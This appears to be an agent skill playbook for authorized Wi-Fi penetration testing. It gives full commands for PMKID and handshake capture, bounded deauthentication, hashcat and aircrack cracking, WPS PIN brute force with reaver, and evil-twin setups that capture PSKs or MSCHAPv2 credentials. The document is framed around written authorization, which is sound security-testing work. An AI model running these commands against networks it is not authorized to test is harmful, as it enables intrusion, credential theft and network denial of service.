Wireless — PMKID First, Handshake Second, WPS Third

Full methodology: references/methodology.md. Vector order is fixed by risk: PMKID (silent, no client needed) → handshake (deauth) → WPS → evil twin (social engineering, last resort).

When to Use

• User asks for a wireless test on an authorized network (own lab, client approval).
• A WPA2/WPA3 PSK needs to be validated for weakness.
• Recon/OSINT found a corporate SSID and wireless is in scope.

When NOT to Use

• No written authorization over the target AP. STOP — RF attacks are legally regulated in most countries.
• Wireless is out of scope (WPA3-only and no social engineering approval) — report "not testable within scope".
• Any other network testing — use recon or web-app.

Rationalizations to Reject

• "The network is encrypted, uncrackable." → Wrong: weak PSK + PMKID = cracked in minutes.
• "WPA3 is safe, no need to test." → Wrong: evil twin + phishing work against WPA3 too (human factor).
• "Just deauth, what could happen." → Deauth is a DoS; it needs authorization + restraint, and it disrupts the client network.
• "No clients, can't test." → PMKID requires no client.

Methodology

Step 0 — Authorization, Hardware, Monitor Mode

CASE=$(date +%Y%m%d)-<slug>          # e.g. 20260802-e01
mkdir -p work/$CASE/{evidence,scans,findings,report}
# MANDATORY output locations (fixed, do not change):
#   findings.json → work/$CASE/findings/findings.json
#   evidence files → work/$CASE/evidence/
#   scan outputs → work/$CASE/scans/
#   scope.md → work/$CASE/scope.md with:
#     target: <DOMAIN_OR_IP>
#     auth: status: granted | basis: <signed scope / bug bounty / own lab> | evidence_of_auth: <file>
#     date: YYYYMMDD
# When the run ends, also copy findings.json to the run root (benchmark archive).

iwconfig
iw list | grep -A5 "Supported interface modes" | grep monitor   # monitor-mode support? empty → adapter NOT suitable
rfkill list 2>/dev/null                                         # Soft blocked → rfkill unblock wifi
sudo airmon-ng check kill
sudo airmon-ng start wlan0        # creates wlan0mon
iwconfig wlan0mon | grep -i "Mode:Monitor" || echo "MONITOR MODE FAILED"

• Stop here without AP-owner authorization. Document the stop in the case folder.
• External adapter with monitor-mode chipset required (e.g. alfa AWUS036ACH).
• NetHunter/Android note: the internal wlan0 usually has no monitor support (driver); an external adapter (e.g. AWUS036ACH) is required. No monitor support → STOP and report "not testable within scope/hardware" — do not continue.
• Post-airmon verification is mandatory: iwconfig wlan0mon must show Mode:Monitor; a failed check means empty airodump output.

Step 0.5 — Tool Check and Fallbacks (MANDATORY)

1. Check every tool you plan to use first: command -v <tool> || echo MISSING.
2. Missing tool → use its fallback from the common table below. Fallback also missing → do the same job with python3 stdlib (socket, urllib, http.server).
3. Note the fallback you used in findings/evidence (tool: <fallback>).
4. Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").

A missing tool NEVER stops the skill — warn, use the fallback, continue.

Wireless-specific check: command -v hcxdumptool hcxpcapngtool aircrack-ng hashcat aireplay-ng wash reaver airbase-ng

• hcxdumptool/hcxpcapngtool MISSING → the PMKID vector is skipped, go straight to Step 2b (handshake).
• hashcat MISSING → aircrack-ng CPU fallback (existing Step 3).
• hashcat present + hcxdumptool missing → convert the handshake capture: aircrack-ng <cap> -j <out> (.hccapx → hashcat -m 22000/2500).

Step 1 — AP Discovery

sudo airodump-ng wlan0mon --band abg -w work/$(date +%Y%m%d)-case/wifi --write-interval 1
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <BSSID> -w work/$(date +%Y%m%d)-case/wifi-target

• Lock the channel (-c) — hopping makes the target AP invisible.
• Expected output: BSSID, channel, ENC (WPA2/WPA3/WEP/OPN), power, and the STATION column (clients).

Step 2a — PMKID Collection (PRIORITY: silent, no client required)

sudo hcxdumptool -i wlan0mon --rds=1 -c <CHANNEL> -e <ESSID> -o work/$(date +%Y%m%d)-case/pmkid.pcapng
hcxpcapngtool -o work/$(date +%Y%m%d)-case/hash.22000 work/$(date +%Y%m%d)-case/pmkid.pcapng
cat work/$(date +%Y%m%d)-case/hash.22000   # WPA*01* line present = PMKID captured

• Wait 1–5 minutes; the PMKID packet comes from the AP. No deauth, no noise.

Fallback (hcxdumptool missing — Step 0.5): skip PMKID, go to Step 2b:

sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <BSSID> -w work/$CASE/wifi-target
# wait for the "WPA handshake" line; deauth only if needed (-0 5, bounded)

Step 2b — Handshake Capture (only if PMKID fails)

sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon

• Bounded deauth (-0 5), purpose-driven. -0 0 = infinite = DoS. Wait for "WPA handshake: <BSSID>" in airodump.

Step 2c — WPA3 and Enterprise (802.1X)

Read the ENC column in airodump output first: WPA3 → SAE; OWE ("Enhanced Open", PMF mandatory); WPA2-Enterprise → EAP.

1. WPA3 (SAE): NO offline crack — the dragonfly handshake has no dictionary attack; PMKID/handshake vectors do not apply. Correct approach: evil twin + captive portal (steals the user's PSK) — written consent + social-engineering approval required (Step 0).
2. WPA2-Enterprise (802.1X): no PMKID in the handshake — the vector is credential capture, not offline cracking: a. Evil twin + hostapd-mana (EAP downgrade): force PEAP/MSCHAPv2 → capture username + MSCHAPv2 challenge/response. b. Crack MSCHAPv2 offline with asleap: asleap -C <challenge> -R <response> -W rockyou.txt (or -f <ntpasswd file>). c. Alternatively: deauth an authenticated client → airodump STATION line leaks username/domain (info only).
3. OWE: no PMKID/handshake vector — report "no offline attack vector; test via evil twin with consent" or skip.
4. Authorization limits: evil twin disrupts real users (DoS-like) — written AP-owner approval + SSID/BSSID + time window; without it STOP (Step 0). Deauth stays bounded (-0 5).

Finding: WRLS-XXX "Enterprise credential exposure via evil twin" (CWE-294/300) — approved tests only; plaintext credentials NEVER in the report (hash + weak note).

Step 3 — Crack

hashcat -m 22000 work/$(date +%Y%m%d)-case/hash.22000 /usr/share/wordlists/rockyou.txt --show
aircrack-ng -w /usr/share/wordlists/rockyou.txt work/$(date +%Y%m%d)-case/wifi-target-01.cap   # CPU fallback
hashcat -m 22000 work/$(date +%Y%m%d)-case/hash.22000 -a 3 '?u?l?l?l?l?d?d?d'                  # mask attack

• PMKID and handshake share format 22000. Strong PSK → mask/rule attack, not rockyou only.

Step 4 — WPS (old routers only)

sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -t 10 -d 5

• Slow it down (-t 10 -d 5): unlimited runs lock the router PIN out. Report the lockout risk.

Step 5 — Evil Twin (last resort, explicit approval only)

sudo airbase-ng -e "<HEDEF_ESSID>" -c <CHANNEL> wlan0mon &

• Captive portal (dnsmasq + hostapd) or WPA handshake capture on the fake AP. Only for authorized, explicitly approved tests; document the deauth noise.

Step 6 — Evidence and Normalize

hashcat -m 22000 work/$(date +%Y%m%d)-case/hash.22000 --show > work/$(date +%Y%m%d)-case/cracked.txt
sha256sum work/$(date +%Y%m%d)-case/hash.22000 work/$(date +%Y%m%d)-case/wifi-target-01.cap
python3 skills/wireless/scripts/normalize_wireless.py work/$(date +%Y%m%d)-case/cracked.txt \
  --target <BSSID> > work/$(date +%Y%m%d)-case/findings.json

• NEVER write the plaintext password into the report — hash + "weak password" note only.
• The normalize script also accepts airodump CSV (wifi-target-01.csv) for exposed-AP findings.

Output Schema

CONTRACT (mandatory): findings.json is a BARE JSON ARRAY at the root — never wrap it in an object like {"findings": [...]}. Wrong: {"findings": [{...}]} → validator rejects (exit 1) Right: [{...}, {...}] → validator accepts Each finding is ONE finding object from schemas/findings.schema.json.

Severity rules:

• "Unscored" → vector "" (EMPTY) + baseScore 0.0. Filled vector + Unscored = validator error.
• Scored finding → vector "CVSS:4.0/..." + baseScore + severity band (Low/Medium/High/Critical).
• Unscored when: asset inventory (open port, subdomain, banner), decoy/false-positive, impact not yet determined.

Scoring contract:

1. If the impact is clear at discovery (e.g. verified SQLi → auth bypass): score immediately with CVSS 4.0 (vector + baseScore + severity).
2. If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).
3. The reporting skill scores the remaining Unscored findings at merge; already scored findings are left untouched (highest severity kept).
4. Either way the validator rule holds: Unscored = empty vector + 0.0.

After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

• PLAINTEXT PSK is NEVER written to findings.json/report: hash.22000 + "weak password" note only (cracked PSK → score with an AV:A vector).

Every finding follows schemas/findings.schema.json (draft-07). Key fields:

{
  "id": "WRLS-001",
  "skill": "wireless",
  "target": "AA:BB:CC:DD:EE:FF",
  "title": "WPA2 PSK cracked (PMKID, mode 22000)",
  "description": "WPA2 network 'AcmeGuest' (AA:BB:CC:DD:EE:FF) cracked offline via PMKID. Password is weak (dictionary-crackable).",
  "severity": {"cvss40": {"vector": "", "baseScore": 0.0, "severity": "Unscored"}},
  "evidence": [{"file": "hash.22000", "hash": "<sha256>", "note": "cracked hash + plaintext in potfile output"}],
  "remediation": "Use a 16+ char random passphrase; migrate to WPA3 or 802.1X; PSK-only auth is not enterprise-grade.",
  "detected_at": "2026-08-02T10:00:00+00:00",
  "status": "confirmed"
}

• Findings stay Unscored unless the impact is verified (PSK cracked → score with an AV:A vector) — see the scoring contract above.

Pitfalls

• Not verifying monitor mode → empty airodump output, hours lost. iwconfig wlan0mon every time.
• Channel hopping → target AP invisible. Lock -c.
• Handshake before PMKID → unnecessary deauth noise. PMKID first, always.
• Infinite deauth (-0 0) → network DoS, legal risk. Bounded packets only.
• Unlimited reaver → router PIN lockout. -t 10 -d 5.
• rockyou.txt only → strong PSK never breaks. Mask/rule attack.
• WPA2 methods on WPA3 → wasted time and a wrong "uncrackable" conclusion. WPA3 = SAE, no offline crack (Step 2c).
• PMKID/handshake tools on 802.1X → nothing to crack offline. Enterprise vector = PEAP/MSCHAPv2 capture + asleap (Step 2c).
• No evidence saved → report has no hash + password proof. Copy hash.22000 + captures into the case folder.

Verification

• MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json → exit 0. Without exit 0 the task is NOT complete.
• findings.json validates: python3 skills/reporting/scripts/validate_findings.py work/<case>/findings.json → exit 0.
• Authorization documented before any RF action.
• Monitor mode verified (iwconfig shows Mode:Monitor).
• Cracked-hash evidence (hash.22000 / potfile) exists and is hashed; plaintext password NOT in the report body.
• WPA3/802.1X: no offline crack attempted on SAE; enterprise vector (PEAP/MSCHAPv2 → asleap) documented with authorization (Step 2c).